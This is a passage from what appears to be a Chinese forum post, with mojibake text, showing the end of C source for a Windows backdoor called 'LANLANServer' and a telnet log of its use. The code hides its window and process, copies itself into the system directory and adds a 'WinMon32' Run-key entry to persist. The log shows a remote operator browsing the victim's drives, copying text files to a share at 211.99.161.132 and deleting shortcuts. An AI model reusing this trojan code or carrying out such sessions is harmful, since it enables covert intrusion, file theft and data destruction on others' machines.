RegisterClass(&wndc); hWnd=CreateWindow(szAppName,"LANLANServer", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT,CW_USEDEFAULT, CW_USEDEFAULT,CW_USEDEFAULT, NULL,NULL,hInstance,NULL); ShowWindow(hWnd,SW_HIDE); UpdateWindow(hWnd); if(GetOS()==VER_PLATFORM_WIN32_WINDOWS) { HideProc(SERVICE_PROC); } InitSocket(hWnd); //¸´ÖÆÎļþµ½ÏµÍ³Ä¿Â¼ //²¢¼ÓÔØ×¢²á±í,×Ô¶¯ÔËÐÐ GetSystemDirectory(szSysDir,MAX_PATH); lstrcat(szSysDir,RUN); GetModuleFileName(NULL,szFileName,MAX_PATH); CopyFile(szFileName,szSysDir,FALSE); lstrcpy(szKey,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); lResult=RegCreateKeyEx(HKEY_LOCAL_MACHINE,szKey,0,NULL,REG_OPTION_VOLATILE, KEY_ALL_ACCESS,NULL,&hKey,&disp); if(lResult==ERROR_SUCCESS) { lResult=RegSetValueEx(hKey,"WinMon32",0,REG_SZ,szSysDir,lstrlen(szSysDir)); RegCloseKey(hKey); } while(GetMessage(&msg,NULL,0,0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return (msg.wParam); } ÏÂÃæÊǰ³ÓÃTELNET¼Ç¼ÏµIJÙ×÷¹ý³Ì LanLan:\>dir LanLan:\> FRUNLOG.TXT 1005 ARCHIVE COMMAND.COM 94292 ARCHIVE CONFIG.SYS 0 ARCHIVE WINDOWS 0 <DIR> NETLOG.TXT 9683 ARCHIVE My Documents 0 <DIR> ATI 0 <DIR> autoexec.bat 129 ARCHIVE ultisoft 0 <DIR> MRTALK-SETUP.EXE 4521090 ARCHIVE yxl 0 <DIR> moon.exe 986228 ARCHIVE hirc2 0 <DIR> DON.txt 3431 ARCHIVE ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE tempc 0 <DIR> scwin133 0 <DIR> Outlook Express.lnk 509 READONLY ´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE lanlandown.txt 624 ARCHIVE LanLan:\>dir *. LanLan:\> WINDOWS 0 <DIR> My Documents 0 <DIR> ATI 0 <DIR> ultisoft 0 <DIR> yxl 0 <DIR> hirc2 0 <DIR> tempc 0 <DIR> scwin133 0 <DIR> LanLan:\>cd my documents LanLan:\>Change Directory OK LanLan:\>dir LanLan:\> . 0 <DIR> .. 0 <DIR> ÖÒ¸æ.txt 798 ARCHIVE mysp.sql 535 ARCHIVE Á´½Ó 0 <DIR> aaa.ppt 32768 ARCHIVE Sock_temp 0 <DIR> LanLan:\>gcpath LanLan:\>CurrentDirect: c:\my documents LanLan:\>dir d:\*.* LanLan:\> WIN98 0 <DIR> VGA 0 <DIR> oicq99c.exe 966029 ARCHIVE METAL 0 <DIR> V2Comm2_0_0sc.exe 793295 ARCHIVE STONEAGE 0 <DIR> SONGS 0 <DIR> PROGRAMS 0 <DIR> MSSQL7 0 <DIR> mmssetup.exe 648032 ARCHIVE JiaSYS 0 <DIR> darkmatter.exe 7925536 READONLY scwin133.zip 652510 ARCHIVE cj_256 0 <DIR> msrwin08.exe 1145666 READONLY demonstr.exe 3806208 READONLY game 0 <DIR> msrwin08 0 <DIR> e-card.exe 827941 ARCHIVE hirc2-setup.exe 996803 ARCHIVE whocq2src 0 <DIR> LanLan:\>cd d: LanLan:\>Change Directory OK LanLan:\>dir *. LanLan:\> WIN98 0 <DIR> VGA 0 <DIR> METAL 0 <DIR> STONEAGE 0 <DIR> SONGS 0 <DIR> PROGRAMS 0 <DIR> MSSQL7 0 <DIR> JiaSYS 0 <DIR> cj_256 0 <DIR> game 0 <DIR> msrwin08 0 <DIR> whocq2src 0 <DIR> LanLan:\>cd jiasys LanLan:\>Change Directory OK LanLan:\>dir LanLan:\> . 0 <DIR> .. 0 <DIR> MYHOOK 0 <DIR> TC.res 876 ARCHIVE TestClass.cpp 1288 ARCHIVE TestClass.h 920 ARCHIVE TestClass.dfm 449 ARCHIVE TC.cpp 706 ARCHIVE TC.bpr 4631 ARCHIVE TC.~bp 4631 ARCHIVE TC.obj 11933 ARCHIVE SysClass.c 5795 ARCHIVE TestClass.~h 861 ARCHIVE TestClass.~df 449 ARCHIVE TestClass.obj 50776 ARCHIVE TC.tds 1835008 ARCHIVE TC.exe 26624 ARCHIVE NetTools.zip 214171 ARCHIVE mylover.txt 2932 ARCHIVE NetTools 0 <DIR> TestClass.c 1286 ARCHIVE LanLan:\>gcpath LanLan:\>CurrentDirect: D:\jiasys LanLan:\>cd c: LanLan:\>Change Directory OK LanLan:\>dir LanLan:\> FRUNLOG.TXT 1005 ARCHIVE COMMAND.COM 94292 ARCHIVE CONFIG.SYS 0 ARCHIVE WINDOWS 0 <DIR> NETLOG.TXT 9683 ARCHIVE My Documents 0 <DIR> ATI 0 <DIR> autoexec.bat 129 ARCHIVE ultisoft 0 <DIR> MRTALK-SETUP.EXE 4521090 ARCHIVE yxl 0 <DIR> moon.exe 986228 ARCHIVE hirc2 0 <DIR> DON.txt 3431 ARCHIVE ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE tempc 0 <DIR> scwin133 0 <DIR> Outlook Express.lnk 509 READONLY ´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE lanlandown.txt 624 ARCHIVE LanLan:\>cd windows\desktop LanLan:\>Change Directory OK LanLan:\>dir LanLan:\> . 0 <DIR> .. 0 <DIR> Outlook Express.lnk 493 READONLY InterVideo WinDVD.lnk 442 ARCHIVE ÌÚѶOicq.lnk 334 ARCHIVE Ò»·ÖÇ®²»»¨.lnk 149 ARCHIVE NetAnts.lnk 379 ARCHIVE LANLAN 0 <DIR> iishack2000.c 4820 ARCHIVE RealPlayer G2.lnk 421 ARCHIVE WINAMP.LNK 350 ARCHIVE Microsoft Outlook.lnk 417 ARCHIVE C++Builder 4.lnk 524 ARCHIVE V2Communicator.lnk 402 ARCHIVE Sqlsec.zip 281929 ARCHIVE ÂÒÆß°ËÔã 0 <DIR> Run DemonStar.lnk 359 ARCHIVE SunNet HIRC2.lnk 305 ARCHIVE class.txt 336 ARCHIVE IPN1.0.exe 992721 ARCHIVE GX.jpg 94542 ARCHIVE 1.log 0 ARCHIVE process.zip 153477 ARCHIVE process 0 <DIR> ÉϺ£ÈÈÏß IPN.lnk 537 ARCHIVE ʯÆ÷ʱ´ú.lnk 291 ARCHIVE LanLan:\>dir *.txt LanLan:\> class.txt 336 ARCHIVE LanLan:\>gcpath LanLan:\>CurrentDirect: C:\windows\desktop LanLan:\>copy *.txt \\211.99.161.132\c LanLan:\>Copy File is OK LanLan:\>dir LanLan:\> . 0 <DIR> .. 0 <DIR> Outlook Express.lnk 493 READONLY InterVideo WinDVD.lnk 442 ARCHIVE ÌÚѶOicq.lnk 334 ARCHIVE Ò»·ÖÇ®²»»¨.lnk 149 ARCHIVE NetAnts.lnk 379 ARCHIVE LANLAN 0 <DIR> iishack2000.c 4820 ARCHIVE RealPlayer G2.lnk 421 ARCHIVE WINAMP.LNK 350 ARCHIVE Microsoft Outlook.lnk 417 ARCHIVE C++Builder 4.lnk 524 ARCHIVE V2Communicator.lnk 402 ARCHIVE Sqlsec.zip 281929 ARCHIVE ÂÒÆß°ËÔã 0 <DIR> Run DemonStar.lnk 359 ARCHIVE SunNet HIRC2.lnk 305 ARCHIVE class.txt 336 ARCHIVE IPN1.0.exe 992721 ARCHIVE GX.jpg 94542 ARCHIVE 1.log 0 ARCHIVE process.zip 153477 ARCHIVE process 0 <DIR> ÉϺ£ÈÈÏß IPN.lnk 537 ARCHIVE ʯÆ÷ʱ´ú.lnk 291 ARCHIVE LanLan:\>gcpath LanLan:\>CurrentDirect: C:\windows\desktop LanLan:\>cd .. LanLan:\>Change Directory OK LanLan:\>gcpath LanLan:\>CurrentDirect: C:\windows LanLan:\>cd .. LanLan:\>Change Directory OK LanLan:\>gcpath LanLan:\>CurrentDirect: C:\ LanLan:\>dir LanLan:\> FRUNLOG.TXT 1005 ARCHIVE COMMAND.COM 94292 ARCHIVE CONFIG.SYS 0 ARCHIVE WINDOWS 0 <DIR> NETLOG.TXT 9683 ARCHIVE My Documents 0 <DIR> ATI 0 <DIR> autoexec.bat 129 ARCHIVE ultisoft 0 <DIR> MRTALK-SETUP.EXE 4521090 ARCHIVE yxl 0 <DIR> moon.exe 986228 ARCHIVE hirc2 0 <DIR> DON.txt 3431 ARCHIVE ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE tempc 0 <DIR> scwin133 0 <DIR> Outlook Express.lnk 509 READONLY ´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE lanlandown.txt 624 ARCHIVE LanLan:\>dir *.lnk LanLan:\> Outlook Express.lnk 509 READONLY LanLan:\>del *.lnk LanLan:\>Delete File is OK LanLan:\>dir LanLan:\> FRUNLOG.TXT 1005 ARCHIVE COMMAND.COM 94292 ARCHIVE CONFIG.SYS 0 ARCHIVE WINDOWS 0 <DIR> NETLOG.TXT 9683 ARCHIVE My Documents 0 <DIR> ATI 0 <DIR> autoexec.bat 129 ARCHIVE ultisoft 0 <DIR> MRTALK-SETUP.EXE 4521090 ARCHIVE yxl 0 <DIR> moon.exe 986228 ARCHIVE hirc2 0 <DIR> DON.txt 3431 ARCHIVE ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE tempc 0 <DIR> scwin133 0 <DIR> ´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE lanlandown.txt 624 ARCHIVE LanLan:\>dir LanLan:\> FRUNLOG.TXT 1005 ARCHIVE COMMAND.COM 94292 ARCHIVE CONFIG.SYS 0 ARCHIVE WINDOWS 0 <DIR> NETLOG.TXT 9683 ARCHIVE My Documents 0 <DIR> ATI 0 <DIR> autoexec.bat 129 ARCHIVE ultisoft 0 <DIR> MRTALK-SETUP.EXE 4521090 ARCHIVE yxl 0 <DIR> moon.exe 986228 ARCHIVE hirc2 0 <DIR> DON.txt 3431 ARCHIVE ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE tempc 0 <DIR> scwin133 0 <DIR> ´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE lanlandown.txt 624 ARCHIVE Can not find directory. LanLan:\>cd d: LanLan:\>Change Directory OK LanLan:\>dir LanLan:\> WIN98 0 <DIR> VGA 0 <DIR> oicq99c.exe 966029 ARCHIVE METAL 0 <DIR> V2Comm2_0_0sc.exe 793295 ARCHIVE STONEAGE 0 <DIR> SONGS 0 <DIR> PROGRAMS 0 <DIR> MSSQL7 0 <DIR> mmssetup.exe 648032 ARCHIVE JiaSYS 0 <DIR> darkmatter.exe 7925536 READONLY scwin133.zip 652510 ARCHIVE cj_256 0 <DIR> msrwin08.exe 1145666 READONLY demonstr.exe 3806208 READONLY game 0 <DIR> msrwin08 0 <DIR> e-card.exe 827941 ARCHIVE hirc2-setup.exe 996803 ARCHIVE whocq2src 0 <DIR> LanLan:\>gcpath LanLan:\>CurrentDirect: D:\ LanLan:\>dir *. LanLan:\> WIN98 0 <DIR> VGA 0 <DIR> METAL 0 <DIR> STONEAGE 0 <DIR> SONGS 0 <DIR> PROGRAMS 0 <DIR> MSSQL7 0 <DIR> JiaSYS 0 <DIR> cj_256 0 <DIR> game 0 <DIR> msrwin08 0 <DIR> whocq2src 0 <DIR> LanLan:\>cd metal LanLan:\>Change Directory OK LanLan:\>dir LanLan:\> . 0 <DIR> .. 0 <DIR> don't_cry.rm 757491 READONLY communication_breakdown.rm 397911 READONLY crazy.rm 840305 READONLY amazing.rm 950747 READONLY dream_on.rm 707125 READONLY fade_to_black.rm 1099788 READONLY in_a_darkened_room.rm 624304 READONLY master_of_puppets.rm 1364907 READONLY More_Than_Words.rm 883834 READONLY no_remorse.rm 1022536 READONLY 04 - Wind Of Change.mp3 7297644 READONLY november_rain.rm 1425646 READONLY To_Be_With_You.rm 574602 READONLY 08 - Nothing Else Matters.mp3 6205857 READONLY 03 - The House Jack Built.mp3 6366839 READONLY 04 - Welcome Home (Sanitarium).mp3 6177536 READONLY 05 - Another Brick In The Wall Part 2.mp3 3829411 READONLY 06 - Come Together.mp3 5813279 READONLY 02 - The Memory Remains.mp3 4455715 READONLY 06 - Outlaw Torn.mp3 9559804 READONLY LanLan:\>copy \\211.99.161.132\d\metal\amazin*.* c:\windows\desktop LanLan:\>Copy File is OK LanLan:\>gcpath LanLan:\>CurrentDirect: D:\metal LanLan:\>cd c: LanLan:\>Change Directory OK LanLan:\>dir LanLan:\> FRUNLOG.TXT 1005 ARCHIVE COMMAND.COM 94292 ARCHIVE CONFIG.SYS 0 ARCHIVE WINDOWS 0 <DIR> NETLOG.TXT 9683 ARCHIVE My Documents 0 <DIR> ATI 0 <DIR> autoexec.bat 129 ARCHIVE ultisoft 0 <DIR> MRTALK-SETUP.EXE 4521090 ARCHIVE yxl 0 <DIR> moon.exe 986228 ARCHIVE hirc2 0 <DIR> DON.txt 3431 ARCHIVE ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE tempc 0 <DIR> scwin133 0 <DIR> ´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE lanlandown.txt 624 ARCHIVE LanLan:\>dir *. LanLan:\> WINDOWS 0 <DIR> My Documents 0 <DIR> ATI 0 <DIR> ultisoft 0 <DIR> yxl 0 <DIR> hirc2 0 <DIR> tempc 0 <DIR> scwin133 0 <DIR> LanLan:\>cd yxl LanLan:\>Change Directory OK LanLan:\>dir LanLan:\> . 0 <DIR> .. 0 <DIR> À×ÄñÕ½»ú 0 <DIR> LanLan:\>cd \ LanLan:\>cd Drive\DirectoryChange Directory OK LanLan:\>dir LanLan:\> FRUNLOG.TXT 1005 ARCHIVE COMMAND.COM 94292 ARCHIVE CONFIG.SYS 0 ARCHIVE WINDOWS 0 <DIR> NETLOG.TXT 9683 ARCHIVE My Documents 0 <DIR> ATI 0 <DIR> autoexec.bat 129 ARCHIVE ultisoft 0 <DIR> MRTALK-SETUP.EXE 4521090 ARCHIVE yxl 0 <DIR> moon.exe 986228 ARCHIVE hirc2 0 <DIR> DON.txt 3431 ARCHIVE ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE tempc 0 <DIR> scwin133 0 <DIR> ´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE lanlandown.txt 624 ARCHIVE
Ïà¹Ø Ìû×Ó£º
»Ø¸´´ËÌû×Ó£º
Ìû×Ó ×ª·¢£º
E-mail µØÖ·£º